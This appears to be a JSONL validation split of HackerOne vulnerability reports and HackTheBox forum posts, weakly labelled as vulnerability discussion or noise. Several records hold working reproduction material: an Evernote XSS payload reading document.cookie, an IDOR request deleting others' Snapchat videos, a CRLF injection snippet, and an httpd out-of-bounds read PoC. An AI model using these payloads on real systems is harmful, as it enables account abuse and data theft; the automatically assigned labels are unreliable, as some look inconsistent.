-{"id": "ec6ab2e18d5881f8680a", "text": "[Improper Access Control - Generic] Argo CD reconciles apps outside configured namespaces when sharding is enabled\n\nThe Application CRD outside configured namespace in Argo CD will be reconciled.\n\nThe following is how to reproduce the vulnerability:\n\n* Enable `apps-in-any-namespace` and `sharding` features.\n* Create an Application CRD in namespace not configured in Argo CD.\n* Update the Application CRD, and Argo CD will reconcile the Application CRD, despite not in configured namespace.\n\n## Impact\n\nAttacker can use Argo CD permission to deploy resources in Kubernetes.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e450c4d06ad13cf2fef2", "text": "I got the same problem Do you remember how to fix it?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-06-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "59d3556306f660c81a98", "text": "[Improper Access Control - Generic] Collaborators and Staff members without all necessary permissions are able to create, edit and install custom apps\n\n## Summary:\n\n### Custom Apps - Permissions\n\nThe store owner, collaborators and staff members can create, edit and install custom apps for their shopify store. Therefor, these users need multiple permissions.  The permissions\n\n* `View apps developed by staff and collaborators`\n* `Develop apps` and\n* `Manage and install apps and channels`\n\nare  all needed. See also https://shopify.dev/apps/auth/admin-app-access-tokens#changing-api-scopes:\n\n> Anyone with a staff or collaborator account on a store can change what store resources an admin-created custom app can access, but only if they have all the following permissions:\n    * the Manage and install apps and channels permission and the Develop apps permission\n    * the relevant permissions for the respective store resource\n\n### Missing \"Manage and install apps and channels\" permission\n\nIf the `Manage and install apps and channels` permission is finally not granted to a user, custom apps can't be created, edited or installed. The staff user in F1712978 has for example the two permissions `View apps developed by staff and collaborators` and `Develop apps` but **not** the `Manage and install apps and channels` permission. Thus, he is not able to create, edit and install custom apps. He is also not even able to reach the relevant config section at https://<YOUR_STORE>/admin/apps/development  to manage custom apps:  \n\n{F1712979}\n\nFurthermore, the direct usage of the relevant API endpoints is also not possible. The request to create a custom app is not permitted and the server states that the user must have edit permissions for custom apps:\n\n```\nPOST /admin/internal/web/graphql/core?operation=CreateAppMutation&type=mutation HTTP/2\nHost: 19kun-19.myshopify.com\nCookie: <COOKIES_STAFF_MEMBER>\nX-Csrf-Token: <CSRF_STAFF_MEMBER>\nOrigin: https://19kun-19.myshopify.com\n...\n\n{\n   \"operationName\":\"CreateAppMutation\",\n   \"variables\":{\n      \"input\":{\n         \"title\":\"test\",\n         \"maintainerUserId\":\"gid://shopify/StaffMember/76770345016\"\n      }\n   },\n   \"query\":\"mutation CreateAppMutation($input: ShopOwnedAppCreateInput!) {\\n  shopOwnedAppCreate(input: $input) {\\n    app {\\n      id\\n      title\\n      __typename\\n    }\\n    userErrors {\\n      field\\n      message\\n      code\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"\n}\n```\n\n```\nHTTP/2 200 OK\nDate: Sat, 30 Apr 2022 20:04:03 GMT\nContent-Type: application/json; charset=utf-8\n...\n\n{\n   \"data\":{\n      \"shopOwnedAppCreate\":null\n   },\n   \"errors\":[\n      {\n         \"message\":\"Access denied for shopOwnedAppCreate field. Required access: The user must have edit permissions for custom apps.\",\n         \"locations\":[\n            {\n               \"line\":2,\n               \"column\":3\n            }\n         ],\n         \"path\":[\n            \"shopOwnedAppCreate\"\n         ],\n         \"extensions\":{\n            \"code\":\"ACCESS_DENIED\",\n            \"documentation\":\"https:\\/\\/shopify.dev\\/api\\/usage\\/access-scopes\",\n            \"requiredAccess\":\"The user must have edit permissions for custom apps.\"\n         }\n      }\n   ],\n   ...\n}\n```\n\nSo far, so good, but if the store owner now decides to give the staff member only a permission to  **one specific** app (see F1712985), a problem occurs.\nThe staff member still have no access to the config section for managing the custom apps...  \n\n{F1712990}  \n{F1712991}\n\n...but when using the API endpoints now directly, custom apps can be **created**, **edited** and **installed** by the staff member! The HTTP request above is now successful and the custom app could be created. This is definitely not intended. \n\n## Shops Used to Test:\nhttps://19kun-19.myshopify.com\n\n## Steps To Reproduce:\n\n  1. As s store owner, enable the custom app development\n  2. Make sure you added a staff member to your store and give him the two rights `View apps developed by staff and collaborators` and`Develop apps` **and** the permission for just **one** specific app (like in F1712985)\n  3.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5f2b69d3900326d4598d", "text": "[Unknown] [Java]: CWE-321 - Query to detect hardcoded JWT secret keys\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4b89922e5c486faca689", "text": "[Insecure Direct Object Reference (IDOR)] Delete anyone's content spotlight remotely.\n\nHello Snapchat,\n Snapchat has viral video feature callled spotlight which alone was the biggest trend and increase snapchat users and profit in millions.\nI found a way to delete anyone's spotlight remotely.\n\nPlease see the below poc:-\n\n1. First go to https://my.snapchat.com/myposts and log in there.\n2. You will see your posts .\n3. Now turn burp suite and intercept.\n4.Select any of your posts and click delete option.\n5. Now capture the delete request. In delete request there is parameter of id\n\n\n{\"operationName\":\"DeleteStorySnaps\",\"variables\":{\"ids\":[\"███████\"],\"storyType\":\"SPOTLIGHT_STORY\"},\"query\":\"mutation DeleteStorySnaps($ids: [String!]!, $storyType: StoryType!) {\\n  deleteStorySnaps(ids: $ids, storyType: $storyType)\\n}\\n\"}\n\n6. You just have to change this id parameter. You can easily get the id parameter. Now forward the request after replacing id with someone's else video id.\n\nAnd the video of other user will get delete.\n\nHOW TO GET ID PARAMETER\n\n1. Whenever you share spotlight you can see the parameter in the url as:\nhttps://story.snapchat.com/spotlight/█████\n\n\nI have attached a video POC please check it out\n\n## Impact\n\nDelete anyone's Content Spotlight. Imagine deleting video biggest influencers and content creators.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7933e250c7daa99eb3d9", "text": "[Code Injection] Email html Injection\n\nThis bug is Email html Injection present in name of workspace while creating\n\n## Impact\n\nThe input is unsanitized and vulnerable which led to html injection which may lead to phishing. when 2fa is applied it send mail with injected html", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7812541987d5a23df8d2", "text": "[Improper Input Validation] CVE-2022-35252: control code in cookie denial of service\n\n## Summary:\nI took a look at https://github.com/curl/curl/pull/9048/commits/d7bcbc7d8d4b6d972d3da12d54819169a19c287b (a sneak peek on a vulnerability to be announced tomorrow). My guess for that vulnerability is that since cookies are persistent, someone who can trick curl into storing cookies can store large amounts of cookies into curl cookie store, which will prevent curl from ever interacting with the server (due to large request being generated causing a 400 error)\n\nI found a separate way to do this, curl does not implement character check on cookie name or value when saving to cookie store. So for example a form feed '\\f' can be saved in curl's cookie store. When form feed is sent by curl to a server such as Apache, Apache will respond with 400 Error (historically, Apache would accept, however now due to HTTP smuggling concerns, Apache will now strictly reject any such control characters.), preventing someone from ever interacting the server with the cookie store.\n\nAccording to the spec, cookies should not contain control characters anyway, see https://datatracker.ietf.org/doc/html/rfc6265#section-4.1.1.\n\n## Steps To Reproduce:\n\n1. \n\nIn test.php,\n`````\n<?php\necho(\"HTTP/1.1 200 OK\\r\\nDate: Fri, 29 Apr 2022 10:11:55 GMT\\r\\nServer: Apache/2.4.43 (Debian)\\r\\nSet-Cookie: a=b\\f; \\r\\nContent-Length: 0\\r\\nConnection: close\\r\\nContent-Type: text/html; charset=UTF-8\\r\\n\\r\\n\");\n`````\nSetup malicious server,\n`````\nphp test.php | nc -nvlp 3333\n`````\n\n2. Cookie with form feed is saved, see 0c byte before the 0a terminator\n`````\ncurl -c cookies.txt http://127.0.0.1:3333\n`````\n`````\n➜  ~ xxd cookies.txt\n00000000: 2320 4e65 7473 6361 7065 2048 5454 5020  # Netscape HTTP \n00000010: 436f 6f6b 6965 2046 696c 650a 2320 6874  Cookie File.# ht\n00000020: 7470 733a 2f2f 6375 726c 2e73 652f 646f  tps://curl.se/do\n00000030: 6373 2f68 7474 702d 636f 6f6b 6965 732e  cs/http-cookies.\n00000040: 6874 6d6c 0a23 2054 6869 7320 6669 6c65  html.# This file\n00000050: 2077 6173 2067 656e 6572 6174 6564 2062   was generated b\n00000060: 7920 6c69 6263 7572 6c21 2045 6469 7420  y libcurl! Edit \n00000070: 6174 2079 6f75 7220 6f77 6e20 7269 736b  at your own risk\n00000080: 2e0a 0a31 3237 2e30 2e30 2e31 0946 414c  ...127.0.0.1.FAL\n00000090: 5345 092f 0946 414c 5345 0930 0961 0962  SE./.FALSE.0.a.b\n000000a0: 0c0a                                     ..\n`````\n3. Apache will now respond with \"400 bad request\" on further request to the server using the poisoned cookie store. This because Apache rejects control characters other than \\r or \\n in the request head.\n`````\n* Trying 127.0.0.1:80...\n* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)\n> GET / HTTP/1.1\n> Host: 127.0.0.1\n> User-Agent: curl/7.83.1\n> Accept: */*\n> Cookie: a=b\n\n> \n* Mark bundle as not supporting multiuse\n< HTTP/1.1 400 Bad Request\n< Date: Tue, 21 Jun 2022 04:09:08 GMT\n< Server: Apache/2.4.43 (Debian)\n< Content-Length: 301\n< Connection: close\n< Content-Type: text/html; charset=iso-8859-1\n< \n<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>400 Bad Request</title>\n</head><body>\n<h1>Bad Request</h1>\n<p>Your browser sent a request that this server could not understand.<br />\n</p>\n<hr>\n<address>Apache/2.4.43 (Debian) Server at 127.0.1.1 Port 80</address>\n</body></html>\n`````\n\n## Impact\n\nAn attacker can possibly MiTM the connection and poison the cookie store using cookies with control characters, preventing a user / application from ever interacting with the particular HTTP server with the same cookie store.\n\nPossibly same impact as the \"cookie limit\" vulnerability to be announced tomorrow.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-35252"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8771a15364a6d3c2e53d", "text": "Hi I’m stuck at Control flow - loops. My for loop: for i in {1…28} do var=$(echo $var | base64 -w 0) if [[ $i -eq 28 ]] then salt=$(echo -n $var | wc -c) #also used without -n and echo ${ #var }, with same result fi done Result: *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better. bad decrypt 140511816897856:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:…/crypto/evp/evp_enc.c:610: I used pwnbox. Can anyone help me please?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-10-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1a43cbbf589a84d9252e", "text": "I finally solved! and after reading the forum posts, some of them may lead to confusion. You don’t need to do any transformation to the result of the register, it is the value that has to be. It is not necessary to use any function to write the values on the screen, in fact, the printf function can lead you to confusion with its results. Debug, and debug again, what is the value of the rdx register before the xor? and after? is there something wrong with any of the values?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "01d2c4d7a72539556ce7", "text": "[Information Disclosure] Read beyond bounds via ap_rwrite() [zhbug_httpd_47.2]\n\nGreetings. I have found that ap_rwrite() (/server/protocol.c) can cause a read beyond bounds with the extra data sent to an attacker.\n\nThe bug is that ap_rwrite() passes its |int nbyte| argument to buffer_output(), where buffer_output()'s corresponding |len| argument isa |apr_size_t|. Thus, a negative |nbyte| value gets sign-extended into a gigantic |len|, causing the creation of a gigantic bucket (`0xffffffffnnnnnnnn bytes`) pointing to a buffer whose actual length is `0xnnnnnnnn`, causing a large read beyond bounds and thus a leak of heap information to an attacker.\n\nThe bug is still present in trunk.\n\nAttached is a POC that demonstrates the vulnerability. Use it thusly:\n\n   1. Copy bug47.2.lua into /bug47.2/bug47.2.lua .\n   2. Enable LUA.\n\n   3. Copy httpd_lines.txt from this report into httpd.conf (this adds a DATA filter to the output filter chain so that httpd sends data in small chunks).\n\n   4. Run httpd and attach a debugger to it.\n   5. Set a BP on ap_rwrite().\n   6. Go on to step 7.\n   7. Create a file `0x80000000` bytes long filled with 'a' characters, named /<somepath>/bug47.2.bin .\n   8. Run the command\n\n      `curl -v -i -o <somepath>/response.txt -X POST -k -T /<somepath>/bug47.2.bin http://127.0.0.1/bug47.2/bug47.2.lua`\n\n   which POSTs the file to httpd.\n\n    9. When the ap_rwrite() BP fires, notice that |int nbyte| == `0x80000000`. Also note the address of the end of the buffer |buf + 0x80000000|.\n\n    10. Trace into buffer_output(). Notice how |len| == `0xffffffff80000000`. Trace into ap_fwrite() and notice how it creates a transient bucket with this length.\n\n    11. Set a BP on data_out_filter() (modules/filters/mod_data.c) on the loop that repeatedly reads <= `6000` bytes of data to be turned into data: URLs.\n\n    12. Proceed. When the BP fires, examine data_out_filter()'s normal behavior.\n\n    13. Disable the BP and proceed. Wait until the debugger pops up an read-beyond-bounds exception, most likely in apr_base64_encode_binary() (apr-util/encoding/apr_base64.c). Examine |string| (the beginning of the buffer that apr_base64_encode_binary() is reading from), and notice that it's already beyond the end of the buffer that you calculated in step 9, showing that some previous iteration of data_out_filter()'s loop sent beyond-bounds data to the attacking host.\n\n    14. If curl hasn't exited by itself, hit ctrl/c.\n\n    15. Examine the beginning of <somepath>/response.txt and notice how its response payload section contains the repeating pattern (\"YWFh\"), which is the base64 encoding of 'aaa' (which is what you filled bug47.2.bin with).\n\n    16. Examine the end of <somepath>/response.txt and notice how it containsa block of something other than \"YWFh\", indicating that httpd sent back something other than the base64-encoded value of repeating 'a's. What gets sent back depends on the arrangement of the heap, which depends upon your httpd build (mine is debug), platform, timing, and server loading.\n```\n-------- bug47.2.lua ----------------------------------------------------\nfunction handle(r)\n    local s = r:requestbody()\n    r:puts(s)\nend\n-------- bug47.2.lua ----------------------------------------------------\n```\n```\n-------- httpd_lines.txt ----------------------------------------------------\n<Location /bug47.2>\n   SetOutputFilter DATA\n</Location>\n-------- httpd_lines.txt ----------------------------------------------------\n```\n\n## Impact\n\nThe attacker could exfiltrate data from the victim site's heap. In mitigation, the victim site must run a suitable LUA program (the POC just reads data from the attacker and echoes it back to her, but a more-realistic program would transform the data in some way).\n\nUse of this attack is likely to cause an access violation and consequent crash, which is useful for a DoS attack.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a2da8ec46266b2bd7d68", "text": "[Improper Authentication - Generic] There is no rate limit for SME REGISTRATION PORTAL\n\n## Summary:\nThe speed limit for the https://mtngbissau.com/registo/ endpoint has not been implemented.\n## Steps To Reproduce:\n1. Go to the https://mtngbissau.com/registo/\n2.  fill out the Registration form\n3. Send request to Intruder.\n4. Set your payloads and start attack.\n5. There is no rate-limit.\n\n## Impact\n\nAttacker can register false n-number of request which lead to DDos attack.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "95034c8cebf365b2e2ec", "text": "Just a note to all… ensure you run the code on the pwnbox. i was running it on my redhat server and getting the errors. same code on the pwnbox, worked ! thanks to PayloadBunny for the advice.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e650895860ec6d81782c", "text": "[Improper Access Control - Generic] Previously created sessions continue being valid after 2FA activation\n\n## Summary:\n\nWordPress has a function called \"2fa\". I have found a bug in this function. As a result of this bug, every site that uses the 2fa function in WordPress is affected.\n\n## Steps To Reproduce:\n1/ Access the same account on example.com in two devices \n2/ On device 'A' go to  example.com> complete all steps to activate the 2FA system\nNow the 2FA is activated for this account\n3/ Back to device 'B' reload the page\nThe session still active\n\n##Same to Same Report Link https://hackerone.com/reports/667739\n\n## Impact\n\nIn this scenario when 2FA is activated the other sessions of the account are not invalidated.\n2FA is required to login. I believe the expected and recommended behavior here is to terminate the other sessions> request a new login> request the 2FA code> so then give the account access again", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ffc1926f83a46b4c1d74", "text": "[CRLF Injection] CVE-2022-35948: CRLF Injection in Nodejs ‘undici’ via Content-Type\n\nundici library should be protects HTTP headers from CRLF injection vulnerabilities. However, CRLF injection exists in the ‘content-type’ header of undici.request api.\n\n## Impact\n\n```=< undici@5.8.0``` users are vulnerable to CRLF Injection on headers when using unsanitized input as request headers, more specifically, inside the content-type header.\n\nExample:\n```import { request } from 'undici'\n\nconst unsanitizedContentTypeInput =  'application/json\\r\\n\\r\\nGET /foo2 HTTP/1.1'\n\nawait request('http://localhost:3000, {\n    method: 'GET',\n    headers: {\n      'content-type': unsanitizedContentTypeInput\n    },\n})\n```\n\nThe above snippet will perform two requests in a single request API call:\n\nhttp://localhost:3000/\nhttp://localhost:3000/foo2\n\nI have submitted the report： https://hackerone.com/reports/1638888\nAdvisories： https://github.com/nodejs/undici/security/advisories/GHSA-f772-66g8-q5h3\nResolved as of https://github.com/nodejs/undici/releases/tag/v5.8.2", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-35948"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "abd8d77415825e0e44c9", "text": "I think htb leaves something incomplete to make us solve ourselves and make experience. Anyway in the module there are all command that we need, if we pay attention to “MATCHER OPTIONS:” and “FILTER OPTIONS:” there are 3 options very useful, (-mr -mc -fs ). With -mc 200 we can match only “Status: 200”, with -mr “FLAG No. 1” we can match only the page with this word inside and last -fs skip all noise. ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H \"Host: FUZZ.inlanefreight.htb\" -u http://10.129.76.190 -mr \"FLAG No. 1\" -fs 10918 -mc 200", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-05-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "139c106435db357850d4", "text": "[Cross-site Scripting (XSS) - Reflected] [████████] RXSS via \"CurrentFolder\" parameter\n\nThe website █████ is vulnerable to reflected cross-site scripting via the `CurrentFolder` parameter.\n\n## How to reproduce?\n\nVisit: https://██████/landpower/resources.aspx?Directory=/20/&ParentID=27&CurrentFolder=%3Cimg%20src%20onerror=alert(domain)%3EResources&ID=17263\n\n███\n\n## Resources:\n\nhttps://portswigger.net/web-security/cross-site-scripting\n\n## Impact\n\nAn attacker who exploits a cross-site scripting vulnerability is typically able to:\n\n* Impersonate or masquerade as the victim user.\n* Carry out any action that the user is able to perform.\n* Read any data that the user is able to access.\n* Capture the user's login credentials.\n* Perform virtual defacement of the web site.\n* Inject trojan functionality into the web site.\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nVisit: https://██████████/landpower/resources.aspx?Directory=/20/&ParentID=27&CurrentFolder=%3Cimg%20src%20onerror=alert(domain)%3EResources&ID=17263\n\n## Suggested Mitigation/Remediation Actions\nEscape user input", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "144a3af284646a972b01", "text": "[Information Disclosure] xmlrpc file enabled\n\n## Summary:\n\nHello team,\nI have found a security vulnerability in ** restaurants.yelp.com/xmlrpc.php** which lets attacker to:\n1: XSPA or PortScan\n2: Bruteforce\n3:DOS and much more\n## Platform(s) Affected:\n  https://restaurants.yelp.com\n\n## Steps To Reproduce:\n1: Go to https://restaurants.yelp.com/xmlrpc.php to check if it is enabled or not. so the server altought respons with 403 error but the xmplrpc is enabled just the error because The following request requires permissions for some Boths.\n\n## Supporting Material/References:\n         Reference:\nhttps://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32\nhttps://medium.com/@protector47/how-to-hack-wordpress-website-via-xmlrpc-php-61c813fa3740\nhttps://hackerone.com/reports/325040?fbclid=IwAR0qgG-Xfzfi8epruslb_aB91f-Nj8DitF0su8O9ibFKSFdvefJ8h_qWNyc\nhttps://hackerone.com/reports/752073?fbclid=IwAR2i3AM4woHlr01MvyJR-Vu485XQg_gxb1doWmAhSBTfxPK9cUSRFxO2iFo\n\n## Impact\n\nThis method is also used for brute force attacks to stealing the admin credentials and other important credentials\nThis can be automated from multiple hosts and be used to cause a mass DDOS attack on the victim.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ae8c57f44c8207781b18", "text": "[Use of Hard-coded Credentials] Testing flow includes a DeepSource secret\n\nThe testing workflow (https://github.com/WeblateOrg/wlc/blob/main/.github/workflows/test.yml) has a DeepSource secret included which would allow a malicious actor to use the DeepSource cli and access parts of the repo (https://deepsource.io/docs/cli/usage).\n\nRecommended usage would be to create a GitHub action environment secret and call this at runtime.\nhttps://deepsource.io/docs/analyzer/test-coverage#with-github-actions\n\n## Impact\n\nAccess to the DeepSource environment is gained through the token with the malicious actor able to report artifacts to DeepSource.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bab86d9c746604748739", "text": "[Path Traversal] Access to admininstrative resources/account via path traversal\n\n**Description:**\nA user can login as an administrator without the need of an ██████████ account, or an authenticated user can access and manipulate administrative resources without needing to login as an administrator. An ████████ (███████) account is required.\n## References\n\n## Impact\n\nExfiltration of sensitive data (IPs, system configurations, passwords, usernames, email addresses, names), website defacing, denial of service, potential rce, deletion of data.\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nIf you do not have an ██████(██████████) account:\n\nNavigate to https://██████/\nLogin using your ████████ account. \nWhen you login you should be at the page https://██████/Saba/██████/CustomLogin.jsp with the error \"There was an error while processing your request.  Please try again. If the problem persists, please contact the help desk at ████████\".\nNavigate to https://█████████/home\nYour account name should say \"Samba administrator\"\n\nIf you do have an █████████(███████) account:\n\nNavigate to https://█████/\nLogin using your ███████ account. \nNavigate to a page in the admin directory i.e. https://███████/Saba/Web_wdk/████████/platform/system/admin/systemMain.rdf  or https://██████████/Saba/Web_wdk/███████/Platform/system/admin/usersStatistics.rdf\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c53c17cc4e0525c8173a", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS in the shared note view on https://evernote.com\n\n## Summary:\n\nThere is a reflected XSS vulnerability on https://evernote.com, in the shared web note view, triggered through the ```view``` and ```ionUrl``` parameters of the ***/shard/s[SHARD_NUMBER]/client/snv*** endpoint.\n\n## Description:\n\n\nWhen a user creates a note and shares it, it is stored in the following endpoint, being accessible by its ```GUID``` and generated ```KEY```: ***https://www.evernote.com/shard/s[SHARD_NUMBER]/sh/[NOTE_GUID]/[NOTE_KEY]***.\n\nThe above link redirects to another generated link this is going to be used to access the ressource in the web note viewer, and has the following format:\n***https://www.evernote.com/shard/s[SHARD_NUMBER]/client/snv?noteGuid=[NOTE_GUID]&noteKey=[NOTE_KEY]&sn=[PREVIOUS_LINK]&title=[NOTE_TITLE]***\n\nWhen accessing from this web note viewer link, a script named ***main.68d4af6d45d9dcaab6e6.js*** is fetched from ***https://dashboard.svc.www.evernote.com/app/nv/***, used to format and display the note properly.\n\nAfter analyzing this file, we can observe at line 3353 of this script (beautify the script first) a function named ```renderWithContext()``` that handles different ways of rendering the note:\n\n```javascript\nrenderWithContext() {\n    switch (this.view) {\n\t\tcase \"content-unavailable\":\n\t\t\treturn this.renderContentUnavailable({\n\t\t\t\theader: this.state.i18n.t(\"SharedNote.contentUnavailable.info\"),\n\t\t\t\tbody: this.state.i18n.t(\"SharedNote.contentUnavailable.downloadInfo\")\n\t\t\t});\n\t\tcase \"saved\":\n\t\t\treturn this.renderContentUnavailable({\n\t\t\t\theader: this.state.i18n.t(\"SharedNote.contentUnavailable.savedOnMobile.info\"),\n\t\t\t\tbody: this.state.i18n.t(\"SharedNote.contentUnavailable.savedOnMobile.downloadInfo\")\n\t\t\t});\n\t\tcase \"notelink\":\n\t\t\treturn this.renderNoteLinkView();\n\t\tcase \"after-save-note\":\n\t\t\treturn this.renderAfterSaveNoteView()\n\t}\n\tconst { embedMode: e } = this.state;\n\treturn e ? this.renderContent() : o.createElement(\"div\", {\n\t\tclassName: Gn.appContainer\n\t}, this.renderHeader(), this.renderContent())\n}\n```\n\nSince the ```this``` object represent the current URL parameters, the switch statement ```switch (this.view)``` gives away that we can reach this function by adding a ```view``` parameter in the URL. \n\nThe vulnerable case here is ```after-save-note```. Here is what the ```renderAfterSaveNoteView()``` function looks like:\n\n```javascript\nrenderAfterSaveNoteView() {\n\tif (W())\n\t\tif (R.isMobile) {\n\t\t\tconst e = oe(R.isMobile);\n\t\t\te && (window.location.href = e)\n\t\t} else {\n\t\t\tconst e = function () {\n\t\t\t\tconst e = W();\n\t\t\t\tlet n = e && e.ionUrl;\n\t\t\t\treturn n && -1 === n.indexOf(J.baseUrl) ? null : n\n\t\t\t}();\n\t\t\te && (window.location.href = e)\n\t\t}\n\treturn null\n}\n```\n\nWe can observe line 12 that this script sets the ```window.location.href ``` attribute to the variable ```e```.  As line 9 shows, we also control this variable ```e``` as it represents an additional parameter we have to add in the URL: ```ionUrl```.\n\nHowever, we can see at line 10 a security measure that will try to prevent attacker from setting the ```window.location.href``` attribute to anything outside evernote.com: ```J.baseUrl``` contains the value \"https://www.evernote.com/\". This line basically checks if the substring \"https://www.evernote.com/\" is present in the provided ```ionUrl``` URL parameter.\n\nThat's where the vulnerability resides; it only checks if the substring \"https://www.evernote.com/\" is in the provided ```ionUrl``` URL parameter, but not that it starts by it.\n\n**I was then able to execute javascript by passing the following payload to ```ionUrl``` : ```javascript:alert(document.cookie)//https://www.evernote.com/```, using javascript comments to comment-out the evernote link (and setting ```view``` to ```after-save-note``` in order to reach this function).**\n\nHere is the POC that will display current cookies in an alert box:\nhttps://www.evernote.com/shard/s1/client/snv?view=after-save-note&ionUrl=javascript:alert(document.cookie)//https://www.evernote.com/\n\n***The link to the note doesn't", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2685969c564f5485b6ce", "text": "[Improper Access Control - Generic] Banned user still able to invited to reports as a collabrator and reset the password\n\n#Description:\n\n* The permanently banned user account can't access any account features or reports and when accessing his profile he receives 404 not found so the account seems to be not signed or not found so the permanently banned user account must be can not access any HackerOne/account features anymore or access reports, but I was able to add the permanently banned user as a collaborator In the report and reset the password without any restrictions\n\n##Steps to reproduce:\n\n* I created an account and send a message to the support team to permanently ban the user account \n\n* After the account was banned I created a new test account and sandbox program \n\n* I send a collaborator request to the banned account so he must be can't receive the collaborator email\n\n* But he invited to the report as shown below:\n\n{F2309760}\n\n* Also I can send and reset the password\n\n{F2309761}\n\n{F2309769}\n\n* Here I reset the password\n\n{F2309773}\n\n* Now the banned user is able to join reports as a collaborator and reset his password and this restricted to banned user\n\n## Impact\n\nThe banned user able to join reports as a collaborator and reset his password this Is restricted due to be permanently banned from the platform and must be can't access any data or use any feature from the HackerOne platform because his account Is seems to be deleted from the platform and must be can't access anything from his account or access any data", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
